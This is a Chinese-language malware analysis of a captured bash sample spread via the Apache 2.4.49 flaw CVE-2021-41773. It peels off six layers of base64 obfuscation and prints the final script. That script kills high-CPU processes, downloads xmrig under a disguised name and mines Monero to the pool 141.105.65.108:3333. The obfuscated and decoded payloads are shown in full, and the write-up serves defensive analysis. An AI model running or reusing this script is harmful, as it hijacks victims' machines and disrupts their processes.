捕获挖矿脚本分析

（1）详细说明

近日我捕获到一个利用Apache2.4.49漏洞(CVE-2021-41773)传播xmrig-6.14.1-linux-static-x64挖矿脚本的最新样本。样本文件名为aaa，file命令判断为ASCII脚本。如下图所示：

 

直接cat该文件

（2）样本分析

I. 该bash脚本经过混淆，将eval改为print，调试脚本

第一遍运行得到

bash -c "$(base64 -d <<< "\YmFzaCAtYyAiJChiYXNlNjQgLWQgPDw8ICJcClltRnphQ0F0WXlBaUpDaGlZWE5sTmpRZ0xXUWdQRHc4SUNKY0NsbHRSbnBoUTBGMFdYbEJhVXBEYUdsWldFNXNUbXBSWjB4WFVXZFEKUkhjNFNVTktZME5zYkhSU2JuQm9VVEJHTUZkWWJFSmhWWEJFWVVkc1dsZEZOWE5VYlhCU1dqQjRXRlZYWkZFS1VraGpORk5WVGt0WgpNRTV5WWtSV1UxZEdjR0ZaYkdRMFRWWlNSVlJyT1dsTlJUVXhWVmMxZDFOc1NYZFhXR2hoVmxVMVJGUXdWbk5UUm5CSllrZEZTMVl3ClZrZGliRkpIWVVkR1RncE5SM2hKV2xWb1lWbFZNVlZpUkZaYVlXczFWRmxWWkU5a1IwVjZZa1Z3VkZOSFVuVldNVnB2WVRKT2NtSkYKVW1GU1IxSnZWbXBHYzJSc1RuSlZhelZNVFVSV1JsVldhRlpUTVZKV0NsUnVTbUZOYXpWS1ZUSTFRMkZSY0dsaVJWcDFWVEowVTFNdwpPVlpqUkZaU1ZUTlNTMVZZY0hKa01XeHpZVVZLYTJKVk5VcFZNalZoVjIxV1ZsSnVVbFJpVjNoRVZGUktSMU5IU2trS1ZHMUdWazFGCmJ6RldNbmhyVWpKRmQySkZiRkppYlhod1ZGZHpNV1F4WkhKVmJuQmhUVmhDU1VOck9VaGFSMmhPWWxob05sZFhkRTlSYlZKQ1kwWkMKVmsxRldubFhWRUp2VXpKU2N3cGhNMnhwVWpOU1VWcFdWa3RqYkd4eFUxUkdhVkpYZUVaYVJFcHJWRlV3ZUZOcVFscE5SVEF4V2tSSwpUMlJGT1ZoalJWSnBZVEJ2TWxVeFZrNWxSMHBYWTBaUlMxVlhjRzlUYkVsNUNsVnFWbGhpUjJoRFYycENORmRXYTNsYVIyeFRaVzE0Ck1WWXdVazlUTWxKMFZXdG9VMkp0ZUc5V2ExWnpZbXRPZEZkclVsSmlWRlp4V1d4YVlVMHhUbFpVV0doT1lUSjRTVmRyYUhNS1dWWmsKUmxKcmVGcFdiVkpoVjJwR2EwNVJjRkpXTTFKU1dsWldSMDFHWkhOaFJWcGhUVVJHUlZWWE1WTlNSMHB6VTI1YVdHSkhUWGRWZWtwUApVMVp3U0dSRlVtbFdiSEEyVjFod1N3cFdiRTE1Vld4b2JGTkZTbkJXYWtvelpERk9WbFJZYUd0V1YzaEdWakZTUmxNeFVuTlZhelZPClZsVTFNRU5zVW5GU2JYQnBWMGRTZFZaRldrNWxSMVpYWTBac1ZXSnNjSEJWTUZwM0NtTXhUbFphUjNScVVqRktTVmxWVWtkWGJVWlYKVm01R1dtRnJiRE5VYlhNeFVsWldXV05HUW1oaE1WWXpWa1pXVGsxRk5VWk5XRUpQVTBkb1QxbFhkRmROVmxKeVZHdEpTMXBGWkVzSwpUbFpHV1ZkdGRGTmxhMWw2VmtWU1MwNUhVbTVqUjBaT1ZrZDNNVmRYY0U5Vk1rWklWRzVTYUUweWVFNVpiWGhMWWpGcmVXRjZSbWxpClZscDNWVlpvVTFaV1JYZFRibHBoVWxkb1ZBcGFSRXBQVG0xSmVsZHJNVTVpVmtvelYydFdhMkozY0U1V2JYaDNWR3hrZDJGVk1YRlIKYWtwaFZsZE9ORnBXWkVkWFJtdDZWMjE0VTJWcldURlhWbHByWVcxU2RGUnVVbGRpYXpWb0NsWnFRbUZPYTA1elkwWnNWVmRHY0doVgpibkJ5Wld4c2RFMVVVbXRpUjNoWlZsWm9ZV0V5Um5OaVJFWlZWbXhLVTBOdFVsWk5WbEpRVmtaS2NGWXdWbmRrTVdSMVlUTmtUbUV6CmFIZ0tWV3hTUTFSWFJuSldha0phWVRKU2VscEdaRk5YVm05NlZXMXdUazFWY0haWGExWnJZekpHY21WR2JHRmxhM0JRVlZod1ZtUXgKWkZkaFJYQnJWbTA1TmxscVNtcFRNVVY1VFZVNFN3cFpWRUp6VWtVNVZWRnRiRmhTVlZwTlYydFdhMUl5VmxaaVJXeG9Va1Z3YUZsdApNRFZpYkd4eVdYcFdhV0pIWkRaVk1qVmhZVEZKZDFkcVZscFdiRXBMV2taa1UxTkdTblZpUlRGcENsWXhSWGxWVkVsNFZESkZkMkpGCmJHaFRSa3B4V1d4a05HUlJjRlZTYkVwaFdrWlZlRlpXVmxsV2F6VldWMFZKZDFkclpITlJNRFZDWTBkc1dGSllRak5XTWpWelVUSk4KZVZOWWJHRUtVakZ3Y1Zsc1VuSmtNV1JYWVVWMGFsSlVSblZaTUdSM1lVWktObEpxU2xoaE1EVkRWRlJCTVU1c2EzbGFSMnhUWlcxNApNVU5zWkVWVWEzUnJZbFpLU1ZWdE5YTmhSbHBHWWtWNFZRcFNNbk14V1hwS1NtVldjRWhYYlhCcFZrZDBNMVl4V205VE1rNUdUVmhDClVsZEdTazVXYWtFeFRXdE9kRkpzYUU5U01sSndWbTV3YzAxV1pITmhSWFJyWVRKNFJWUldhR0ZUYkVwR0NsWllZMHRXUmxwT1RVZFcKUmsxVlZsZFhSbHBRV1ZkNFYwMVdVbGRWYTBwUFVsUnNlRlpHYUhkVWJWWnlUVmMxVlZKdGFGZFhha3BMVTBkS1NWWnRkRmhTTWxKMQpWa1ZhYjFGc2Iza0tVMnRvYVZOR1duSldNR1JyWW14U1IxUllhR3RXTUZwWlZrY3hNMU4zY0ZwV1YxSklXbGN4UjFKR1JsbFZhekZYClRWVnZlVmRYTUhoU01ERkhZMFpTVGxkRk5XaFdNRnAzWXpGc2NncFZXR1JyVFVkNFJWUlZhRk5YYXpCM1UxaG9WVkp0YUVSYVZtUkgKVjBVNVdXSkhhRmhTYTJ0NFZsVmFVMVpzYjNkaVJWSk9WMFZ3UzBOc1JqWlNhMUpVVmxaRmQxcEhlSGRUUmxweENsTnJNVTVoYkZZMApWMWQwYTAweGNETmpSWFJoVFRCSk1sZFhkR3RXTWtwSVZHdFNVbGRIYUU5VmExWkhUVEZGZVU1VmRHdFNWM2hGVkZab2MxbFhSbFpTCmFrcGhVbGRPTkZwRVFqTUtaVzFHU1ZWdGIwdFpiR1EwWkZaU1IxVnNjR3RXVkVaV1ZsWm9WMVJzVmxsUmFsWmFZa1UxUTFwRlpFOWsKUm1SWVdrVXhUazFWYjNkWFZFSk9UbGROZVZOWWJHRlNNWEJ4V1d4U2NncGtNRTV6WWtac1ZHSnJTazlaVmxKV1pERmtWMkZGY0d0VwpiVGsyV1dwQ01GbFJjR2xXTTFKTlZqSjRhMVF5U1hsVGFsWlNWako0Y1ZsdGVHRk5WbXhYV1hwR2FXRXphSGRVYTJoWENsUlhSbFZWCmJrSlNUVzFOTlZWR1RrcGpSV3h3VVcxc1dsZEZOWFpUVlU1S1lURkdSRk5WYzJsTFUwbG5XVzFHZW1GRFFXbEtSVUZwUTJjOVBTSXAKSWlCaVlYTm9JQ0lrUUNJSyIpIiBiYXNoICIkQCIK")" bash "$@"

II. 提取其中base64，去掉换行符，解base64继续运行得到

bash -c "$(base64 -d <<< "\
YmFzaCAtYyAiJChiYXNlNjQgLWQgPDw8ICJcClltRnphQ0F0WXlBaUpDaGlZWE5sTmpRZ0xXUWdQ
RHc4SUNKY0NsbHRSbnBoUTBGMFdYbEJhVXBEYUdsWldFNXNUbXBSWjB4WFVXZFEKUkhjNFNVTktZ
ME5yYkRWU1dGcGFZbGQ0TVZSRVRrOWlNRTUxVVc1d1NsSXdXWGhhVlU1RFQwVnNTRnBJYkdFS1Yw
VkdibFJHYUdGTgpNR3hJWlVoYVlVMVViRFZaYWs1VFlVZE9kR0V6YkVwVFNHUnVWMVpvYTJOcmJF
UmFSR1JvVmpGc2RsTnJVazVMTURWRlVWaFZTMVJWClRuSmFNazVKVTI1Q2FRcGliRVp1VTJ0U1Mw
OVZjRFZSVTNSS1VYcHJkMWxzYUVKa2JVNUpVMjVhV21WVlJuUlRiV3hEVFRKR1NHSkkKVG1GVk1F
bzFWMnhrUjJFd2JFbFJibXhwVFdzMWQxZHJVbnBhTVhCSUNrOUhaR2hOYlhoNldXdE9RbVJCY0ZC
Vk1FWnlXVEJvUzJScwphM2xpUjNSUVpWVktjbGxxU1RGaVJXeEZaREprVFUweFNqQlpNRTAxWkRK
T2RFOVhjRVJpYTBvMlUxVk5lR0pXY0ZRS1VXcG9TbEl5ClVqVlhiR2hDV2pCNFdWa3laR2xTZW14
MVYwUk9TMlJ0VWtoU2JteG9Wa1ZzYmtOdFdrUlJiVFZxWWxaYU0xTlZUWGhOYTJ4SVdraHMKWVZk
RlJreFpWbVJhV2pGa05RcFJWM1JSWlZWR01GZHNhRVphTURGRVVXMVNSR0pzU25aWGJHTXdVekpP
U1ZwSGRFUmlWbHA2V1hwSwpWbE15VWxobFNFSnBWakozZDFOVlRYaGtWV3hGVjFSRlMxUnNVazVO
VlU1MENsUnFSbXBpV0dSdVZFWk5lR1ZXY0ZsVWJscHBVMFp3CmMxTlZaR3RqUjFKSVlVUkdXbUZV
Vm5GWmFrbDNUbXMxUlZWWWNGQmhhMVYzVkZWTk1FNUZNWEJPU0doT1lXdFdNVlJyVGtJS1pFZEsK
TlZGWVdtdFNla1l6VkVSS05HUm5jR0ZOVkd3MVdXcE9VMkZIVG5SaE0yeE5ZbXhLYjFreWF6Rmli
Vlp3VVZoU1ZWRXdTblphUldoVApaREpPTm1JeldrMU5iVkozV2tWa2J3cE5WbXh3VGxkd2FVMXFR
akphVldONFpWZEdXRmt6V214U2VrWTFXVlprYW1SdFRuUldiazVoClZqQmFOa05zY0ZsVVdGcGhV
bnByZWxsdE1UUmtiR3hZVlZoYWEyRnNiREZVVmxKU0NtUlZNVlJQVkZKcFYwVndkMWR1YTNkTmEz
aHgKVWxSQ1RXRnJWakJaYTJSelpGZFNXVm96VW1wTk1VcHZXa1ZrYzJGcmVGbGFla3BQVVhwVmQx
ZFdhRXBrVm05NllqSmpTMUV5TVU4SwpZVEJzUkU5VVFtbFhSVVpNV2tWa1IyVlZiRWxoUkVwaFlt
MDVibGxyWXpWaWJHZDZVMjVhYTFJd1dqVlpWbEpLWkZkU1NGSnViRTFpClYxRXlVVEl4VDJFd2JF
bGhTRkpxWWxkNGRRcFVSbEphWkZVeFZWVllWazVWV0VJd1drZHNRMDVCY0dsWFJYQjNWMjVzUTJN
eVNYbGEKUjFwcVlsUnJkMWRXYUV0alJURnVZMGR3YUZKNlJqSlhhMDVDVFRBMU5sa3laR2xTZW14
MUNsZEVUa3RrYlZKSVVtNXNhRlpGYkV4VQpSMnMxWXpKSmVWcEhXbXBpVkd0M1YxWm9TMk5GTVhC
UldGSk5WakExTWtOdFJsaE9SMlJwVm5wc01WZHNhRXRrYTJ4RVRWaGFTbEpGClZYY0tWRlpOTUdW
Rk1VVldXRlpQWVd4V01WUldVa0pPUlRseFZGaHdUbVZyTVc1VVJtaFdXakpLU0dKSVZtdFhSMlJ1
VkVab1Fsb3kKU2toaVNGWnJWMGRrYmxSR1RYaGtWMFpZVkcxM1N3cFpWV1JIWlcxR1JGRllVazFX
TVVveVdXMHhSMDFHY0ZSTldFNWhWMFp3YzFscgpVWGRrTUd4RVRVaFNXazB3U1hoVVJtaERaVmRH
V0U5WWJHaFhSa2t4VlVaU1Zsb3diRVJOV0VwS0NsRjZSa1JUVlZFd1pHeHdTRlpxClNrMU5hbFY0
V1d0a00xcDNjRXRhTTBJMldXdGtWMkpIVGtSUldHaE9Va1ZHTTFFeU5VdGtSV3hFVFZoc1lXRlZS
akphUldONFpEQjMKZW1GSVVtb0tZbGQ0ZFZSR1VscGtWVEZWVlZoV1RsVllRalZaYkU1Q1pFZE9k
RmRYWkUxTk1Vb3dXVEJOTldNeVNYbGFSMXBxWWxScgpkME5zYkZsVGJrSk9ZVlJWZDFkV2FFcGtW
bTk2WWpCMFlRcGlWM1JNVjJ4a1QySXlTalZSVjJ4cVlteGFNVmxXWXpGaWEzaHdUa2hXClRXRlVV
bkJSTW1NNVVGTkpjRWxwUW1sWldFNXZTVU5KYTFGRFNVc2lLU0lnWW1GemFDQWlKRUFpQ2c9PSIp
IiBiYXNoICIkQCIK")" bash "$@"

III. 提取其中base64，去掉换行符，解base64继续运行得到

bash -c "$(base64 -d <<< "\
YmFzaCAtYyAiJChiYXNlNjQgLWQgPDw8ICJcClltRnphQ0F0WXlBaUpDaGlZWE5sTmpRZ0xXUWdQ
RHc4SUNKY0NrbDVSWFpaYld4MVRETk9iME51UW5wSlIwWXhaVU5DT0VsSFpIbGEKV0VGblRGaGFN
MGxIZUhaYU1UbDVZak5TYUdOdGEzbEpTSGRuV1Zoa2NrbERaRGRoVjFsdlNrUk5LMDVFUVhVS1RV
TnJaMk5JU25CaQpibEZuU2tSS09VcDVRU3RKUXprd1lsaEJkbU5JU25aWmVVRnRTbWxDTTJGSGJI
TmFVMEo1V2xkR2EwbElRbmxpTWs1d1drUnpaMXBICk9HZGhNbXh6WWtOQmRBcFBVMEZyWTBoS2Rs
a3liR3RQZVVKcllqSTFiRWxFZDJkTU0xSjBZME01ZDJOdE9XcERia0o2U1VNeGJWcFQKUWpoSlIy
UjVXbGhCWjB4WVkyZGlSemx1V0ROS2RtUkhSbmxoVkVsbkNtWkRRbTVqYlZaM1NVTXhNa2xIWkhs
YVdFRkxZVmRaWjFkNQpRV3RRZVVGMFdsaEZaMDFEUW1SRGJsSnZXbGMwUzJOSVpHdERiVlp6WXpK
VlMyUlhlSEJpVjJ3d1NVTXhkVWxFV1RFS1RsUk5NVU50ClRqRmpiWGRuVEZNeGVWcFlUblppU0Zw
c1NVZGtjR1JIYURGWmFUVnFZakl3Tms1RVVYcFBha1V3VFVNME5FMXBOSGhOYWtWMVRrTkIKZEdK
NVFYWmtSekYzVERKNGRncGFNVGw1WWpOU2FHTnRhM2xNYmxKb1kyazFibVZwUVhSVVEwSnZaRWhT
ZDJONmIzWk1NbVJ3WkVkbwpNVmxwTldwaU1qQjJaVWN4ZVdGWFkzWmxSekY1WVZkamRtTnRWbk5h
VjBaNkNscFlUWFphUnprelltMTRkbGxYVVhaa2FsbDFUVlJSCmRVMVRPVFJpV0Vwd1dua3dNa3hx
UlRCTWFrVjBZa2RzZFdSWVozUmpNMUpvWkVkc2FreFlaekpPUXpVd1dWaEpkVm96YjJjS1EyMU8K
YTBsRE9UQmlXRUZMWkVkR2VVbElhREphYm05bllrYzVibGd6U25aa1IwWjVZVlJKZFdSSFJubE1i
V1EyUTIxT2EwbElhSFJqYld4dQpURlJaZFUxVVVYVk5VWEIwWkdsQ05BcGlXRXB3V25sQ2MySXla
R1pqYlRrd1dWaEtjRTFuY0dwaFJ6RjJXa05CTTA1NlkyZGlSemx1CldETktkbVJIUm5saFZFbExU
R2s1YzJJeVpHWmpiVGt3V1ZoS2NFMXBRWFJNVjA1MkNtRlhOR2RpVnpsMVdsaEtka2xETVhaSlJF
VXcKVFZNMGVFMUVWWFZPYWxWMVRWUkJORTlxVFhwTmVrMW5URmhWWjJKSGJIVmtXR2RuVEZoQloy
SkhiSFZrV0dkblRGTXhkV0ZYVG13SwpZVWRHZW1GRFFYUk1WMUoyWW0xR01GcFRNWE5hV0Zwc1lr
UXdkMGxETUhSWk0wSXhURmhDZVdGWE9YbGhXRkkxVUZSVlowbERNWEpKClF6RkRTVVEwZGxwSFZq
Sk1NalV4WWtkM1p3cEtaM0I2WWtkV2JHTkRRWGhOUkVGM1EyNUtkRWxETVhsYWFVRjJaRWN4ZDB3
emFIUmoKYld4dVRGUlpkVTFVVVhWTlVYQjVZbE5CZEdOdFdXZE1NMUowWTBNNWMySXlaR1pqYlRr
d0NsbFlTbkJOYVRVd1dWaEpkVm96YjB0YQpiV3RMV2xkT2IySjVRV2xqYmxaMVlWYzFia3hwTkhW
TWFUUnBRMmM5UFNJcElpQmlZWE5vSUNJa1FDSUsiKSIgYmFzaCAiJEAiCg==")" bash "$@"

IV. 提取其中base64，去掉换行符，解base64继续运行得到

bash -c "$(base64 -d <<< "\
YmFzaCAtYyAiJChiYXNlNjQgLWQgPDw8ICJcCkl5RXZZbWx1TDNOb0NuQnpJR0YxZUNCOElHZHla
WEFnTFhaM0lHeHZaMTl5YjNSaGNta3lJSHdnWVhkcklDZDdhV1lvSkRNK05EQXUKTUNrZ2NISnBi
blFnSkRKOUp5QStJQzkwYlhBdmNISnZZeUFtSmlCM2FHbHNaU0J5WldGa0lIQnliMk5wWkRzZ1pH
OGdhMmxzYkNBdApPU0FrY0hKdlkybGtPeUJrYjI1bElEd2dMM1J0Y0M5d2NtOWpDbkJ6SUMxbVpT
QjhJR2R5WlhBZ0xYY2diRzluWDNKdmRHRnlhVElnCmZDQm5jbVZ3SUMxMklHZHlaWEFLYVdZZ1d5
QWtQeUF0WlhFZ01DQmRDblJvWlc0S2NIZGtDbVZzYzJVS2RXeHBiV2wwSUMxdUlEWTEKTlRNMUNt
TjFjbXdnTFMxeVpYTnZiSFpsSUdkcGRHaDFZaTVqYjIwNk5EUXpPakUwTUM0NE1pNHhNakV1TkNB
dGJ5QXZkRzF3TDJ4dgpaMTl5YjNSaGNta3lMblJoY2k1bmVpQXRUQ0JvZEhSd2N6b3ZMMmRwZEdo
MVlpNWpiMjB2ZUcxeWFXY3ZlRzF5YVdjdmNtVnNaV0Z6ClpYTXZaRzkzYm14dllXUXZkall1TVRR
dU1TOTRiWEpwWnkwMkxqRTBMakV0YkdsdWRYZ3RjM1JoZEdsakxYZzJOQzUwWVhJdVozb2cKQ21O
a0lDOTBiWEFLZEdGeUlIaDJabm9nYkc5blgzSnZkR0Z5YVRJdWRHRnlMbWQ2Q21Oa0lIaHRjbWxu
TFRZdU1UUXVNUXB0ZGlCNApiWEpwWnlCc2IyZGZjbTkwWVhKcE1ncGphRzF2WkNBM056Y2diRzlu
WDNKdmRHRnlhVElLTGk5c2IyZGZjbTkwWVhKcE1pQXRMV052CmFXNGdiVzl1WlhKdklDMXZJREUw
TVM0eE1EVXVOalV1TVRBNE9qTXpNek1nTFhVZ2JHbHVkWGdnTFhBZ2JHbHVkWGdnTFMxdWFXTmwK
YUdGemFDQXRMV1J2Ym1GMFpTMXNaWFpsYkQwd0lDMHRZM0IxTFhCeWFXOXlhWFI1UFRVZ0lDMXJJ
QzFDSUQ0dlpHVjJMMjUxYkd3ZwpKZ3B6YkdWbGNDQXhNREF3Q25KdElDMXlaaUF2ZEcxd0wzaHRj
bWxuTFRZdU1UUXVNUXB5YlNBdGNtWWdMM1J0Y0M5c2IyZGZjbTkwCllYSnBNaTUwWVhJdVozb0ta
bWtLWldOb2J5QWljblZ1YVc1bkxpNHVMaTRpQ2c9PSIpIiBiYXNoICIkQCIK")" bash "$@"

V. 提取其中base64，去掉换行符，解base64继续运行得到

bash -c "$(base64 -d <<< "\
IyEvYmluL3NoCnBzIGF1eCB8IGdyZXAgLXZ3IGxvZ19yb3RhcmkyIHwgYXdrICd7aWYoJDM+NDAu
MCkgcHJpbnQgJDJ9JyA+IC90bXAvcHJvYyAmJiB3aGlsZSByZWFkIHByb2NpZDsgZG8ga2lsbCAt
OSAkcHJvY2lkOyBkb25lIDwgL3RtcC9wcm9jCnBzIC1mZSB8IGdyZXAgLXcgbG9nX3JvdGFyaTIg
fCBncmVwIC12IGdyZXAKaWYgWyAkPyAtZXEgMCBdCnRoZW4KcHdkCmVsc2UKdWxpbWl0IC1uIDY1
NTM1CmN1cmwgLS1yZXNvbHZlIGdpdGh1Yi5jb206NDQzOjE0MC44Mi4xMjEuNCAtbyAvdG1wL2xv
Z19yb3RhcmkyLnRhci5neiAtTCBodHRwczovL2dpdGh1Yi5jb20veG1yaWcveG1yaWcvcmVsZWFz
ZXMvZG93bmxvYWQvdjYuMTQuMS94bXJpZy02LjE0LjEtbGludXgtc3RhdGljLXg2NC50YXIuZ3og
CmNkIC90bXAKdGFyIHh2ZnogbG9nX3JvdGFyaTIudGFyLmd6CmNkIHhtcmlnLTYuMTQuMQptdiB4
bXJpZyBsb2dfcm90YXJpMgpjaG1vZCA3NzcgbG9nX3JvdGFyaTIKLi9sb2dfcm90YXJpMiAtLWNv
aW4gbW9uZXJvIC1vIDE0MS4xMDUuNjUuMTA4OjMzMzMgLXUgbGludXggLXAgbGludXggLS1uaWNl
aGFzaCAtLWRvbmF0ZS1sZXZlbD0wIC0tY3B1LXByaW9yaXR5PTUgIC1rIC1CID4vZGV2L251bGwg
JgpzbGVlcCAxMDAwCnJtIC1yZiAvdG1wL3htcmlnLTYuMTQuMQpybSAtcmYgL3RtcC9sb2dfcm90
YXJpMi50YXIuZ3oKZmkKZWNobyAicnVuaW5nLi4uLi4iCg==")" bash "$@"

VI. 提取其中base64，去掉换行符，解base64继续运行得到

#!/bin/sh
ps aux | grep -vw log_rotari2 | awk '{if($3>40.0) print $2}' > /tmp/proc && while read procid; do kill -9 $procid; done < /tmp/proc
ps -fe | grep -w log_rotari2 | grep -v grep
if [ $? -eq 0 ]
then
pwd
else
ulimit -n 65535
curl --resolve github.com:443:140.82.121.4 -o /tmp/log_rotari2.tar.gz -L https://github.com/xmrig/xmrig/releases/download/v6.14.1/xmrig-6.14.1-linux-static-x64.tar.gz 
cd /tmp
tar xvfz log_rotari2.tar.gz
cd xmrig-6.14.1
mv xmrig log_rotari2
chmod 777 log_rotari2
./log_rotari2 --coin monero -o 141.105.65.108:3333 -u linux -p linux --nicehash --donate-level=0 --cpu-priority=5  -k -B >/dev/null &
sleep 1000
rm -rf /tmp/xmrig-6.14.1
rm -rf /tmp/log_rotari2.tar.gz
fi
echo "runing....."

VII.共解六次base64，获取明文命令，查看命令，发现下载了https://github.com/xmrig/xmrig/releases/download/v6.14.1/xmrig-6.14.1-linux-static-x64.tar.gz 挖矿脚本并连接地址141.105.65.108:3333